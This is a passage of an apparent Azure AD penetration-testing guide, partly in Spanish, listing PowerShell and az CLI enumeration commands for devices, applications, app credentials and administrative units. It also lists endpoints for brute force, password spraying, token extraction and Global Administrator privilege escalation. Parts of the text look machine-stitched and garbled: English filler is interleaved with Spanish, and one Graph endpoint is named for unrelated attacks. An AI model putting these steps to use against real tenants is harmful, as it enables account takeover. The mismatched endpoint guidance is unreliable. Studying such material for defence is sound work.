# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

Si un dispositivo (VM) está unido a AzureAD, los usuarios de AzureAD podrán iniciar sesión. Además, si el usuario conectado es Propietario del dispositivo, será administrador local.

Aplicaciones

Las aplicaciones son Registros de aplicaciones en el portal (no Aplicaciones empresariales). Pero cada Registro de aplicación creará una Aplicación empresarial (Principal de servicio) con el mismo nombre. Además, si la Aplicación es una Aplicación multiinquilino, se creará otra Aplicación empresarial (Principal de servicio) en ese inquilino con el mismo nombre.

Cuando se genera una Aplicación se otorgan 2 tipos de permisos:

  • Permisos otorgados al Principal de servicio

  • Permisos que la aplicación puede tener y usar en nombre del usuario.

# List Apps
az ad app list
az ad app list --query "[].[displayName]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# List all the apps with an application password
az ad app list --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad app list --query "[?keyCredentials != null].displayName"

Azure AD

Enumeration

Enumerating Azure AD users can provide valuable information for further attacks. Common enumeration techniques include:

  • User enumeration: Enumerating valid usernames through the login interface or other exposed endpoints.

  • Group enumeration: Identifying Azure AD groups and their members to understand the organization's structure.

  • Application enumeration: Discovering registered applications and their permissions can help identify potential attack vectors.

Brute Force Attacks

Brute forcing Azure AD accounts is a common technique to gain unauthorized access. Attackers may use tools like Hydra, Burp Suite Intruder, or custom scripts to automate the process of trying multiple username and password combinations.

Password Spraying

Password spraying involves trying a few commonly used passwords against many usernames to avoid account lockouts. This technique leverages weak password policies and the tendency of users to choose easily guessable passwords.

Phishing Attacks

Phishing attacks targeting Azure AD users can be highly effective. Attackers may create fake login pages or emails to trick users into revealing their credentials. These credentials can then be used to access Azure AD accounts and sensitive information.

Token Manipulation

Manipulating tokens obtained from Azure AD authentication can allow attackers to escalate privileges or access resources beyond their intended scope. Techniques like token impersonation or token reuse can be used to bypass security controls.

Enumeration of Azure AD users, groups, and applications is a crucial step in understanding the target environment and identifying potential attack vectors. Brute forcing, password spraying, phishing attacks, and token manipulation are common techniques used by attackers to compromise Azure AD accounts and gain unauthorized access. Implementing strong authentication mechanisms, user training, and monitoring for suspicious activities are essential to enhance the security of Azure AD environments.

# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

Conexión de Azure AD con Az PowerShell

Introducción

Para conectarse a Azure AD utilizando Az PowerShell, siga los siguientes pasos:

Pasos

  1. Abra Az PowerShell.

  2. Ejecute el siguiente comando para iniciar sesión en Azure AD:

Connect-AzAccount
  1. Se le pedirá que inicie sesión a través de una ventana emergente. Ingrese sus credenciales de Azure AD.

  2. Una vez que haya iniciado sesión correctamente, habrá establecido la conexión con Azure AD.

¡Ahora está listo para comenzar a trabajar con Azure AD utilizando Az PowerShell!

Consejo

Recuerde que es importante seguir las mejores prácticas de seguridad al trabajar con credenciales de Azure AD en scripts o comandos de PowerShell.

# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

Una aplicación con el permiso AppRoleAssignment.ReadWrite puede escalar a Global Admin otorgándose a sí misma el rol. Para más información verifica esto.

Una cadena secreta que la aplicación utiliza para demostrar su identidad al solicitar un token es la contraseña de la aplicación. Por lo tanto, si encuentras esta contraseña puedes acceder como el service principal dentro del tenant. Ten en cuenta que esta contraseña solo es visible al generarse (podrías cambiarla pero no puedes obtenerla nuevamente). El propietario de la aplicación puede agregar una contraseña a la misma (para poder hacerse pasar por ella). Los inicios de sesión como estos service principals no se marcan como riesgosos y no requerirán MFA.

Diferencia entre Aplicaciones y (Aplicaciones Empresariales o Service Principals)

Diferencia entre una aplicación y un Service Principal en Azure:

  • Aplicación/Registros de Aplicaciones: Son aplicaciones que existen en tu Azure AD

  • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • Service Principal/Aplicaciones Empresariales: Objetos de seguridad en tu Azure AD que pueden tener privilegios en el Directorio de Azure y están vinculados a tu aplicación o a una aplicación de terceros

  • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

  • Un administrador podría necesitar aprobar los permisos otorgados si son muy sensibles.

Una aplicación puede estar ejecutándose en un tenant de terceros y una vez que comienzas a usarla y le das acceso, se crea un Enterprise Application/Service Principal en tu tenant para darle acceso a la información que necesita:

Unidades Administrativas

Se utilizan para una mejor gestión de usuarios.

Las unidades administrativas restringen los permisos en un rol a cualquier parte de tu organización que definas. Por ejemplo, podrías usar unidades administrativas para delegar el rol de Administrador de Helpdesk a especialistas de soporte regional, para que puedan administrar usuarios solo en la región que respaldan.

Por lo tanto, puedes asignar roles a la unidad administrativa y los miembros de la misma tendrán estos roles.

AzureAD

Enumeration

  1. Enumerate Azure AD users using the Graph API:

    GET https://graph.windows.net/myorganization/users?api-version=1.6
  2. Enumerate Azure AD groups using the Graph API:

    GET https://graph.windows.net/myorganization/groups?api-version=1.6

Brute Force

  1. Brute force Azure AD accounts using the Azure AD authentication endpoint:

    POST https://login.microsoftonline.com/myorganization/oauth2/token
  2. Brute force Azure AD accounts using the Azure AD Graph API:

    POST https://graph.windows.net/myorganization/users/{user_id}/checkMemberGroups?api-version=1.6

Password Spraying

  1. Perform password spraying attacks against Azure AD accounts:

    POST https://graph.windows.net/myorganization/users/{user_id}/checkMemberGroups?api-version=1.6
  2. Perform password spraying attacks using the Azure AD authentication endpoint:

    POST https://login.microsoftonline.com/myorganization/oauth2/token

Token Extraction

  1. Extract tokens from Azure AD responses to gain unauthorized access:

    POST https://graph.windows.net/myorganization/users/{user_id}/checkMemberGroups?api-version=1.6
  2. Extract tokens from Azure AD authentication responses:

    POST https://login.microsoftonline.com/myorganization/oauth2/token

Privilege Escalation

  1. Escalate privileges by adding a user to the Azure AD Global Administrator role:

    POST https://graph.windows.net/myorganization/directoryRoles/{role_id}/members/$ref?api-version=1.6
  2. Escalate privileges by modifying Azure AD group membership:

    PATCH https://graph.windows.net/myorganization/groups/{group_id}?api-version=1.6
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

Protección de Identidad de Azure AD (AIP)

La Protección de Identidad de Azure AD (AIP) es un servicio de seguridad que utiliza detección y remediación automatizadas para ayudar a proteger las identidades de usuario en Azure Active Directory de ser comprometidas. AIP monitorea y evalúa continuamente el riesgo de inicio de sesión de usuarios y configuraciones de identidad, aplicando automáticamente medidas de seguridad apropiadas, como requerir autenticación multifactor o bloquear actividades potencialmente peligrosas. Esto ayuda a las organizaciones a prevenir brechas de seguridad basadas en identidades.

Flujo:

  1. La Protección de Identidad de Azure AD monitorea las actividades de usuario y recopila datos sobre inicios de sesión, eventos de autenticación y otras actividades relevantes de usuario.

  2. El servicio utiliza algoritmos de aprendizaje automático para analizar estos datos y detectar posibles amenazas de seguridad.

  3. La Protección de Identidad de Azure AD asigna un nivel de riesgo a la amenaza (por ejemplo, inicio de sesión) y genera una alerta si es necesario realizar alguna acción automática.

Protección de Contraseña de Azure AD (APP)

La Protección de Contraseña de Azure AD (APP) es una característica de seguridad que ayuda a prevenir contraseñas débiles en Azure Active Directory al hacer cumplir políticas de contraseñas fuertes. APP bloquea contraseñas débiles comúnmente utilizadas y sus variantes, reduciendo el riesgo de brechas relacionadas con contraseñas. Puede aplicarse tanto a nivel de la nube como en el Directorio Activo local, mejorando la seguridad general de contraseñas en toda la organización.

Referencias

Last updated